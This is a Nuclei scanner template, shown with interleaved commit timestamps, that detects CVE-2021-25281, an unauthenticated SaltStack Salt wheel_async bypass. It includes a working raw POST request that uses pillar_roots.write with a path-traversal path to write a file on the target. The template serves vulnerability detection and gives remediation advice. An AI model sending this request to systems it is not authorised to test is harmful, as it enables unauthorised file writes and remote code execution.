nuclei-templates/http/cves/2021/CVE-2021-25281.yaml

54 lines
1.7 KiB
YAML
Raw Normal View History

2021-02-26 09:02:30 +00:00
id: CVE-2021-25281
info:
name: SaltStack Salt <3002.5 - Auth Bypass
2021-02-26 09:02:30 +00:00
author: madrobot
severity: critical
description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
2021-11-28 11:52:02 +00:00
reference:
- http://hackdig.com/02/hack-283902.htm
- https://dozer.nz/posts/saltapi-vulns
- https://nvd.nist.gov/vuln/detail/CVE-2021-25281
- https://github.com/saltstack/salt/releases
- https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-25281
cwe-id: CWE-287
epss-score: 0.87406
epss-percentile: 0.98556
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: saltstack
2024-05-23 21:45:20 +00:00
product: salt
2023-07-11 19:49:27 +00:00
tags: cve,cve2021,saltapi,rce,saltstack,unauth
2021-02-26 09:02:30 +00:00
http:
2021-02-26 09:02:30 +00:00
- raw:
- |
POST /run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2021-02-26 12:42:25 +00:00
{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
2021-02-26 09:02:30 +00:00
matchers-condition: and
matchers:
- type: word
2021-11-28 11:52:02 +00:00
part: body
2021-02-26 09:02:30 +00:00
words:
- "return"
- "tag"
- "jid"
- "salt"
- "wheel"
2021-02-26 12:25:38 +00:00
condition: and
2021-02-26 09:02:30 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022026b9eff4faf7599079f837764767028f6e5520d8f44a5be3b3dda8d7685666760221008230a47ce5142560d40267697a5445d19124ff79ed4623f4fcd9c119b4591483:922c64590222798bb761d5b6d8e72950